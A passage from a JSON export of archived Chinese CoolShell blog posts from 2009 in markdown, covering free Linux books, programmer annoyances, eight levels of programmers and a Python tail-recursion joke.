[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2681.html)[Kent Beck 谈单元测试和持续部署](https://coolshell.cn/articles/2681.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/25.html)[如何上网觅无踪](https://coolshell.cn/articles/25.html)\n* [![十个免费的Web压力测试工具](../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg)](https://coolshell.cn/articles/2589.html)[十个免费的Web压力测试工具](https://coolshell.cn/articles/2589.html)\n* [![Google App Inventor ](../wp-content/uploads/2010/07/androidappinventor-150x150.jpg)](https://coolshell.cn/articles/2608.html)[Google App Inventor](https://coolshell.cn/articles/2608.html)\n* [![程序员因为女孩而美丽！](../wp-content/uploads/2012/01/481px-Ada_Lovelace_1838-150x150.jpg)](https://coolshell.cn/articles/6346.html)[程序员因为女孩而美丽！](https://coolshell.cn/articles/6346.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/11235.html)[一个浮点数跨平台产生的问题](https://coolshell.cn/articles/11235.html)\nThe post [Glassfish ESB 的教程](https://coolshell.cn/articles/732.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-30 某Python实现的尾部递归.md",
    "content": "---\nlayout: post\ntitle: 某Python实现的尾部递归\ndate: 2009/4/30/ 0:22:9\nupdated: 2009/4/30/ 0:22:9\nstatus: publish\npublished: true\ntype: post\n---\n\n[mailper](https://coolshell.cn/?author=3) 在2009年4月26的文章里《[Guido认为程序员大多数工作不需要递归](../?p=694)》谈及递归不是编程的基础。并且在python中并没有实现尾部递归Tail Recurssion。\n\n\n但是，今天我们却看见了某Python实现的尾部递归\n\n\n\n[![snake](../wp-content/uploads/2009/04/snake.jpg \"snake\")](https://coolshell.cn/?attachment_id=738)\n\n\n：）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [某Python实现的尾部递归](https://coolshell.cn/articles/737.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-6 20本最好的Linux免费书籍.md",
    "content": "---\nlayout: post\ntitle: 20本最好的Linux免费书籍\ndate: 2009/4/6/ 12:22:35\nupdated: 2009/4/6/ 12:22:35\nstatus: publish\npublished: true\ntype: post\n---\n\n[![screenshot-linuxdevicedrivers](../wp-content/uploads/2009/04/screenshot-linuxdevicedrivers-150x150.png \"screenshot-linuxdevicedrivers\")](https://coolshell.cn/wp-content/uploads/2009/04/screenshot-linuxdevicedrivers.png)前些天Neo推荐了一个网站有《[超过100本的linux免费书籍](https://coolshell.cn/articles/336.html)》，这里，我也向大家推荐20本最好的Linux免费书籍，当然，也是英文版的。\n\n\n**1. Ubuntu Pocket Guide and Reference**\n\n\n一本介绍关于Ubuntu 8.04和8.10的使用书。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [www.ubuntupocketguide.com](http://www.ubuntupocketguide.com/) |\n| Author | Keir Thomas |\n| Format | PDF |\n| Pages | 152 |\n\n\n\n**2. Two Bits**\n\n\n一本关于自由软件的历史和文化的书。不当当是软件，同样也有音乐，电影，科学和教育。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [twobits.net](http://twobits.net/) |\n| Author | Christopher M. Kelty |\n| Format | PDF |\n| Pages | 400 |\n\n\n\n**3. The Linux Starter Pack**\n\n\n一本完整的介绍如何使用Linux的书。可以让你从入门级提高到中级。主要是教你如果操作Linux桌面。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [www.tuxradar.com/linuxstarterpack](http://www.tuxradar.com/linuxstarterpack) |\n| Author | Future Publishing |\n| Format | PDF |\n| Pages | 130 |\n\n\n**4. The Easiest Linux Guide You’ll Ever Read**\n\n\n本书主要面对Windows的用户，本书教你如何使用linux完全一些Windows的事情。本书主要是给用户一个体验以告诉你Linux的强大和迷人。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [www.suseblog.com](http://www.suseblog.com/my-book-the-easiest-linux-guide-youll-ever-read-an-introduction-to-linux-for-windows-users) |\n| Author | Scott Morris |\n| Format | PDF |\n| Pages | 160 |\n\n\n \n\n\n**5. Producing Open Source Software**\n\n\n本书主要介绍了开源的软件方面的事情，比如一个开源的项目如何创建，如何组织，如何管理，并介绍了一些开源的文化。这不是一本技术书，这是一本管理或是介绍开源的工程书籍。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [producingoss.com](http://producingoss.com/) |\n| Author | Karl Fogel |\n| Format | PDF, XML, Single HTML page, Multiple HTML pages |\n| Pages | 192 |\n\n\n**6. Introduction to Linux – A Hands on Guide**\n\n\n又一本Linux的手册书，涵盖了诸如：文件系统，进程，I/O，VIM，打印，备份，网络和多媒体。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [tille.garrels.be/training/tldp/](http://tille.garrels.be/training/tldp/) |\n| Author | Machtelt Garrels |\n| Format | PDF, HTML |\n| Pages | 215 |\n\n\n**7. Bash Guide for Beginners**\n\n\n一本教你使用Bash编程的书。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [tille.garrels.be/training/bash](http://tille.garrels.be/training/bash/) |\n| Author | Machtelt Garrels |\n| Format | PDF, HTML |\n| Pages | 165 |\n\n\n**8. After the Software Wars**\n\n\n这本书描述了整个计算机软件开发中的好的和不好的东西。其中也暗示了很多今天的东西。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [www.lulu.com/content/4964815](http://www.lulu.com/content/4964815) |\n| Author | Keith Curtis |\n| Format | PDF |\n| Pages | 292 |\n\n\n**9. The Cathedral & The Bazaar**\n\n\n这是一本关于软件工程的方法论，其主要总结了Linux内核，开源项目中带用的软件开发的方法。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [www.catb.org/~esr/writings/cathedral-bazaar/](http://www.catb.org/~esr/writings/cathedral-bazaar/) |\n| Author | Eric S. Raymond |\n| Format | PDF, XHTML, XML, Postscript |\n| Pages | 260 |\n\n\n**10. Free for All: How LINUX and the Free Software Movement Undercut the High-Tech Titans**\n\n\n又是一本介绍软件开发中政治方面的书。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [wayner.org/node/5](http://wayner.org/node/5) |\n| Author | Peter Wayner |\n| Format | PDF, Zipped HTML, Palm PDB, HTML, ASCII text, XML |\n| Pages | 340 |\n\n\n**11. Put Yourself in Command**\n\n\n介绍Linux命令的书。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [en.flossmanuals.net/gnulinux](http://en.flossmanuals.net/gnulinux) |\n| Author | Free Software Foundation |\n| Format | PDF, Multi-page HTML |\n| Pages | 136 |\n\n\n**12. Getting Started with OpenOffice.org 3.x**\n\n\n使用OpenOffice的书。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [documentation.openoffice.org](http://documentation.openoffice.org/) |\n| Author | OOoAuthors group |\n| Format | PDF, Multi-page HTML |\n| Pages | 433 |\n\n\n**13. Grokking the GIMP**\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [gimp-savvy.com/BOOK](http://gimp-savvy.com/BOOK/) |\n| Author | Carey Bunks |\n| Format | HTML |\n| Pages | 352 |\n\n\n**14. The Linux Knowledge Base and Tutorial**\n\n\n一个Linux的技术知识库。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [sourceforge.net/projects/linkbat](http://sourceforge.net/projects/linkbat) |\n| Author | James Mohr |\n| Format | PDF |\n| Pages | 614 |\n\n\n \n\n\n**15. Advanced Linux Programming**\n\n\n用大量的示例介绍了Linux下编程最重要的概念和技术。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [www.advancedlinuxprogramming.com](http://www.advancedlinuxprogramming.com/) |\n| Author | CodeSourcery LLC |\n| Format | Multiple PDFs |\n| Pages | 344 |\n\n\n \n\n\n**16. Linux 101 & 102 Modular Training Notes**\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [www.ledge.co.za/software/lpinotes](http://www.ledge.co.za/software/lpinotes/) |\n| Author | Leading Edge Business Solutions |\n| Format | PDF |\n| Pages | 233 (Linux 101), 236 (Linux 102) |\n\n\n \n\n\n**17. Linux Device Drivers, Third Edition**\n\n\n介绍Linux内核2.6以上版的内核方面的驱动开发。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [oreilly.com/catalog/9780596005900](http://oreilly.com/catalog/9780596005900/) |\n| Author | Jonathan Corbet, Allesandro Rubini, Greg Kroah-Hartman |\n| Format | PDF, HTML, DocBook |\n| Pages | 615 |\n\n\n**18. LINUX: Rute User’s Tutorial and Exposition**\n\n\n一本技术参考手册，主要面对高级系统管理员。\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [linux.2038bug.com](http://linux.2038bug.com/) |\n| Author | Paul Sheer |\n| Format | PDF, HTML |\n| Pages | 660 |\n\n\n**19. Linux Network Administrator’s Guide – 2nd Edition**\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [tldp.org/guides.html](http://tldp.org/guides.html) |\n| Author | Olaf Kirch, Terry Dawson |\n| Format | PDF, HTML |\n| Pages | 489 |\n\n\n**20. tuXlabs Cookbook**\n\n\n\n\n\n|  |  |\n| --- | --- |\n| Website | [www.upfrontsystems.co.za](http://www.upfrontsystems.co.za/Members/jean/cookbook/tuXlab01.pdf/view) |\n| Author | Jean Jordaan, The Shuttleworth Foundation |\n| Format | PDF |\n| Pages | 153 |\n\n\n文章：[来源](http://www.linuxlinks.com/article/20090405061458383/20oftheBestFreeLinuxBooks-Part1.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [20本最好的Linux免费书籍](https://coolshell.cn/articles/355.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-6 惹恼程序员的十件事.md",
    "content": "---\nlayout: post\ntitle: 惹恼程序员的十件事\ndate: 2009/4/6/ 4:4:1\nupdated: 2009/4/6/ 4:4:1\nstatus: publish\npublished: true\ntype: post\n---\n\n[![anger](../wp-content/uploads/2009/04/anger-150x150.gif \"anger\")](https://coolshell.cn/wp-content/uploads/2009/04/anger.gif)程序员应该是一个比较特殊的群体，他们因为长期和电脑打交道所养成的性格和脾气也是比较相近的。当然，既然是人，当然是会有性格的，也是会有脾气的。下面，让我来看看十件能把程序惹毛了的事情。一方面我们可以看看程序员的共性，另一方面我们也可以看看程序员的缺点。无论怎么样，我都希望他们对你的日常工作都是一种帮助。\n\n\n**第十位 程序注释**\n\n\n程序注释本来是一些比较好的习惯，当程序员老手带新手的时候，总是会告诉新手，一定要写程序注释。于是，新手们当然会听从老手的吩咐。只不过，他们可能对程序注释有些误解，于是，我们经常在程序中看到一些如下的注释：\n\n\nr = n/2;  //r是n的一半\n\n\n//循环，仅当r- n/r不大于t  \n\nwhile ((r-n/r) <=t){  \n\n        … …  \n\n        r = 0.5 \\* (r-n/r); // 设置r变量  \n\n}\n\n\n每当看到这样的注释——只注释是什么，而不注释为什么，相信你一定会被惹火，这是谁写的程序注释啊？不找来骂一顿看来是不会解气了。程序注释应该是告诉别人你的意图和想法，而不是告诉别人程序的语法，这是为了程序的易读性和可维护性，这样的为了注释而注释的注释，分明不是在注释，而是在挑衅，惹毛别人当然毋庸置疑。\n\n\n\n**第九位 打断**\n\n\n正当程序沉浸于编程算法的思考，或是灵感突现正在书写程序的时候，但却遭到别人的打断，那是一件非常痛苦的事情，如果被持续打断，那可能会让人一下子就烦躁起来。打断别人的人在这种情况下是非常不礼貌的。被打断的人就像函数调用一下，当其返回时，需要重新恢复断点时的现场，当然，人不是电脑，恢复现场通常是一个很痛苦的过程，极端的情况下可能需要从头开始寻找思绪，然后一点一点地回到断点。\n\n\n因此，我看到一些程序员在需要安静不被打扰的时候，要么会选择去一个没人找得到的地方，要么会在自己的桌子上方高挂一个条幅以示众人——“本人正执行内核程序，无法中断，请勿骚扰，谢谢！”，可能正在沉浸于工作的程序被打断是多么大的开销。自然，被打断所惹毛了的人也不在少数了。\n\n\n \n\n\n**第八位  需求变化**\n\n\n这个事情估计不用多说了。只要是是程序员，面对需求变化的时候可能总是很无奈的。一次两次可能还要吧接受，但也顶不住经常变啊。据说敏捷开发中有一套方法论可以让程序员们享受需求的变化，不知道是真是假。不过，今天让你做一个书桌，没有让你把书桌改成餐桌，后天让你把餐桌改成双人床，大后天让你把床改成小木屋，然后把小木屋再改成高楼大厦。哎，是人都会被惹毛了的。那些人只用30分钟的会议就可以作出任何决定，但后面那几十个程序员需要搭上几百个小时的辛苦工作。如果是我，可能我也需要神兽草泥马帮助解解气了。\n\n\n不过，这也正说明了，程序员并不懂得怎么和用户沟通，而用户也不懂得和程序员沟通，如果一个项目没有一个中间人（如：PM）在其中协调的话，那么整个项目可能就是“鸡同鸭讲”，用户和程序员都会被对方所惹毛了。如果要例举几个用户被惹毛的事情，估计程序员的那种一根筋的只从技术实现上思考问题的方法应该也能排进前5名。\n\n\n \n\n\n**第七位  经理不懂技术**\n\n\n外行领导内行的事例还少吗？领导一句话，无论对不对，都是对的，我们必需照做，那怕是多么愚蠢多么错误的决定，我们也得照做。程序员其实并不怕经理不懂技术，最怕的就是不懂技术的经理装着很懂技术。最可气的是，当你据理力争的挑站领导权威的时候，领导还把你视为异类。哎，想起这样的领导别说是骂人了，打人的冲动都有了。\n\n\n其实，经理只不过是一个团队的支持者，他应该帮助团队，为团队排忧解难。而不是对团队发号施令。其实管理真的很简单，如果懂的话，就帮着做，如果不懂的话，就相信下属，放手让下属做。最怕的就是又不懂技术，还不信任下属的经理了。哎，这真是程序员的痛啊。\n\n\n \n\n\n**第六位 用户文档**\n\n\n用户文档本来不应该那么的令人害怕。这些文档记录了一切和我们所开发的软件有关的一些话题。因为我们并不知道我们所面对的用户的电脑操作基础是什么样的，所以，在写下这样的文档的时候，我们必需假设这个用户什么也不懂。于是，需要用最清楚，最漂亮的语言写下一个最丰富的文档。那怕一个拷贝粘贴的操作，可能我们都要分成五、六步来完成，那怕是一个配置IP地址的操作，我们也要从开始菜单开始一步一步的描述。对于程序员来说，他们在开发过程中几乎天天都在使用自己开发的软件，到最后，可能都有得有点吐了，但还得从最简单的部份写这些文档，当然容易令他们烦燥，让程序员来完成这样的文档可能效果会非常不好。所以，对于这样的用户文档，应该由专门的人来完成和维护。\n\n\n \n\n\n**第五位  没有文档**\n\n\n正如上一条所说的，程序员本来就不喜欢写文档，而因为技术人员的表达能力和写作能力一般都不是太好，所以，文档写的也很烂。看看开源社会的文档可能就知道了。但是，我们可爱的程序员另一方面最生气的却是因为没有文档。当然，让面说是的用户的文档，这里我们说的是开发方面的文档，比如设计文档，功能规格，维护文档等等。不过，基本上都是一样的。反正，一方面，我们的程序员不喜欢写文档，另一方面，我们的程序又会被抱怨没有文档，文档太少，或者文档看不懂。呵呵。原来在抱怨方面也有递归啊。据说，敏捷开发可以降低程序开发中的文档，据说他们可以把代码写得跟文档和示图似的，不知道是真是假。不过，我听过太多太多的程序员抱怨没文档太少，文档太差了，这个方面要怪还是怪程序员自己。\n\n\n \n\n\n**第四位 部署环境**\n\n\n虽然，程序员们开发的是软件，但是我们并不知道我们的程序会被部署或安装在什么样的环境下，比如，网络上的不同，RAID上的不同，BIOS上的不同，操作系统的不同（WinXP和Win2003），有没有杀毒软件，和其它程序是否兼容，系统中有流氓软件或病毒等等。当然，只要你的软件出现错误，无论是你的程序的问题，还是环境的问题，反正都是你的问题，你都得全部解决。所以，程序员们并不是简单地在编程，很多时候，还要当好一个不错系统管理员。每当最后确认问题的原因是环境问题的时候，可能程序员都是会心生怨气。\n\n\n \n\n\n**第三位 问题报告**\n\n\n“我的软件不工作了”，“程序出错了”，每当我们听到这样的问题报告的时候，程序员总是感到很痛苦，因为这样的问题报告等于什么也没有说，但还要程序员去处理这种错误。没有明确的问题描述，没有说明如果重现问题，在感觉上，当然会显得有点被人质问的感觉，甚至，在某些时候还掺杂着看不起，训斥的语气，当然，程序员基本上都是很有个性的，都是软硬不吃的主儿，所以，每当有这样的语气报告问题的时候，他们一般也会把话给顶回去，当然，后面自己然发生一些不愉快的事情。所以，咱们还是需要一个客服部门来帮助我们的程序员和用户做好沟通。\n\n\n \n\n\n**第二位 程序员自己**\n\n\n惹毛程序员的可能还是程序员自己，程序员是“相轻”的，他们基本上都是持才傲物的，总是觉得自己才是最牛的，在程序员间，他们几乎每天都要吵架，而且一吵就吵得脸红脖子粗。在他们之间，他们总是被自己惹毛。\n\n\n* 技术上的不同见解。比如Linux和Win，VC++和VB，Vi和Emacus，Java和C++，PHP和Ruby等等，等等。什么都要吵。\n* 老手对新手的轻视。总是有一些程序员看不起另一些程序员，说话间都带着一种傲慢和训斥。当新手去问问题的时候，老手们总是爱搭不理。\n* 在技术上不给对方留面子。不知道为什么，程序员总是不给对方留面子，每当听到有人错误理解某个技术的时候，他们总是喜欢当众大声指证，用别人的“错误”来表明自己的“博学”，并证明他人的“无知”。\n* 喜好鄙视。他们喜好鄙视，其实，这个世界上没有一件事是完美的，有好就有不好，要挑毛病太容易了。程序员们特别喜欢鄙视别人，无论是什么的东西，他们总是喜欢看人短而不看人长。经常挂在他们嘴上的口头禅是“太差”、“不行”等等。\n\n\n程序员，长期和电脑打交道，编写出的代码电脑总是认真的运行，长期养成了程序员们目空一切的性格，却不知，这个世界上很多东西并不是能像电脑一样，只要我们输入正确的指令它就正确地运行这么简单。程序员，什么时候才能变成成熟起来……\n\n\n \n\n\n**第一位 程序员的代码**\n\n\n无论你当时觉得自己的设计和写的代码如何的漂亮和经典，过上一段时间后，再回头看看，你必然会觉得自己的愚蠢。当然，当你需要去维护他人的代码的时候，你一定要在一边维护中一边臭骂别人的代码。是否你还记得当初怎么怎么牛气地和别人讨论自己的设计和自己的代码如何如何完美的？可是，用不了两年，一刚从学校毕业的学生在维护你的代码的过程当中就可以对你的代码指指点点，你的颜面完全扫地。呵呵。当然，也有的人始终觉得自己的设计和代码就是最好的，不过这是用一种比较静止的眼光来看问题。编程这个世界变化总是很快的的，很多事情，只有当我们做过，我们才熟悉他，熟悉了后才知道什么是更好的方法，这是循序渐进的。所以，当你对事情越来越熟悉的时候，再回头看自己以前做的设计和代码的时候，必然会觉得自己的肤浅和愚蠢，当然看别人的设计和代码时，可能也会开始骂人了。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [惹恼程序员的十件事](https://coolshell.cn/articles/340.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-6 程序员的八个级别.md",
    "content": "---\nlayout: post\ntitle: 程序员的八个级别\ndate: 2009/4/6/ 10:23:11\nupdated: 2009/4/6/ 10:23:11\nstatus: publish\npublished: true\ntype: post\n---\n\n[![programmer](../wp-content/uploads/2009/04/programmer-150x150.jpg \"programmer\")](https://coolshell.cn/wp-content/uploads/2009/04/programmer.jpg)在面试时，你可能会被经常问到“在未来5年，你想干什么？”，这可能是一个比较难回答的问题。在中国，答案一般可能会是Team leader，Manager，或是Architect，Specialist等，在中国，大家可能更多地觉得manager会是程序员的下一个目标，可是在国外，经理和程序员可能是两个不同的分支，Architect或Specialist 比经理来说更牛、代遇可能也更好，因为这些人的智商需要的更高。\n\n\n在著名的“[Coding Horror](http://www.codinghorror.com/)”上出现了这样一篇文章，我把其转到这里（我并没有完全一模一样的翻译，我只不过是用自己的话转述罢了），也让大家看看国外人的思考方式（当然，这篇文章只是分析程序员的级别而不是工种）。正如其作者结尾时所说，这八个级别并不是很严格的，其只不过是一种想法，希望能给大家另一种思路。\n\n\n\n**第八级 不朽的程序员**\n\n\n这一级别是程序员的最高级别。你的代码比你的生命活的还长，当你死后，你将会成为整个历史的一部分。其它程序员对你顶礼膜拜，或许你会获得计算机最高奖“图灵奖”，不然就是一系列极其影响力的论文，再不然，就是发明了一些可以影影响整个编程界根基的技术。你拥有的不仅仅是在维基百科上的一个词条，还会有一个专门的网站来研究你的生平和你的工作成果。\n\n\n比如：[Dijkstra](http://en.wikipedia.org/wiki/Edsger_W._Dijkstra), [Knuth](http://en.wikipedia.org/wiki/Donald_Knuth)（编程艺术的作者）, [Kay](http://en.wikipedia.org/wiki/Alan_Kay)\n\n\n \n\n\n**第七级 成功的程序员**\n\n\n这类程序员一方面很著名，另一方面在商业上也很成功，他们影响了整个工业界。他们似乎决定了工业界中发展的方向，这些人，自己的编程能力固然了得，但估计他们的Business方面的能力应该大于他们编程的能力。（我个人认为[Linus](http://en.wikipedia.org/wiki/Linus_Torvalds)应该属于这一类）\n\n\n比如： [Gates](http://en.wikipedia.org/wiki/Bill_Gates)（比尔盖茨）, [Carmack](http://en.wikipedia.org/wiki/John_D._Carmack)（Doom和Quake 3D游戏）, [DHH](http://en.wikipedia.org/wiki/David_Heinemeier_Hansson) （Ruby on Rail的创建者）\n\n\n \n\n\n**第六级 著名程序员**\n\n\n这一类的程序员，在编程圈子内比较有名气，但是他们的这种名气并不一定能给他们带来某种利益。名气是一件好事，但是成功可能更好一些，这类人一般正在给一个很著名的大的公司，或是是一极具影响力的小公司里工作，或者正在创建自己的事业。无论怎么样，其它的程序员听说过你的名字，并以你为榜样在效仿着你。\n\n\n \n\n\n**第五级 骨干程序员**\n\n\n这类程序员一般来说都是公司里的骨干份子，他们担任着公司内最重要的编程角色，在公司内部，他们受到老板和其它程序员的尊敬，他们不会失业，因为他们随时都可以很容易地找到工作。他们工作过的公司都会因为他们而有所发展。\n\n\n \n\n\n**第四级 一般的程序员**\n\n\n这类程序员的优点在于，他们很清楚地意识到了自己可能这一辈了也无法成为一个伟大的程序员。天才只是很少的一部分人。如果这类程序员有一些商业和人员管理能力，他们也会在公司里相当的成功。“认识自我”并不简单，这并不是一般人能做到的，能够认识自己的人已经是很不错了，找到自己的长处，并像那个方向努力，一定也会很成功的。因为在公司里，并不只有程序员一种职位，经理，PM，流程，SQA，技术支持，售前，管理员，测试人员等等都可能会让这类程序员有更为广阔的天空。\n\n\n \n\n\n**第三级  业余的程序员**\n\n\n这类人员不管是不是计算机科班出身，基础如何，他们对编程有着特殊的爱好，他们可能会是一些很有前途的学生或实习生，也许他们可能会给开源做一些贡献（比如说提供一些语言包或是一些插件什么的），有时候，他们也会写两个小工具软件放在网上让人下载，也行有些时候就是为了玩玩而开发一些小程序而打发一下他们空闲的时间。他们完全是靠热情和承诺来编程。兴趣永远是最好的老师，也是最好的一件事，因为兴趣而引发的热情通常会让这些程序员成为“骨干程序员”。\n\n\n \n\n\n**第二级 不知名的程序员**\n\n\n这一级的程序员是典型的为大众所知的程序员，他们有一定的编程能力，但并不出众，也许他们会在一家大公司里工作，只程序员只不过是他们的工作而已，并不是他们人生的全部。当然，这样的程序员也挺好的。必竟，平凡地人还是大多数，平凡地活着也没有什么错的。\n\n\n \n\n\n**第一级 糟糕的程序员**\n\n\n这类程序员不知道为什么就走上了编程这条路，他们甚至连最基本的编程经验和能力都没有。所有被他们碰过的事情都需要他们的同事重头再返工一遍，他们根本不就是程序员。程序员这个职位对于他们可能就是一个错误。\n\n\n正如原文作者所说，“这些级别并不是很严肃的，也并不是每个程序都会去思考一下自己的未来，但是这些级别可能会让你去想一想从事程序员十年/二十年/三十年后，自己可能变成什么样。”\n\n\n文章：[来源](http://www.codinghorror.com/blog/archives/001250.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [程序员的八个级别](https://coolshell.cn/articles/343.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-7 35个强大的UI设计教程.md",
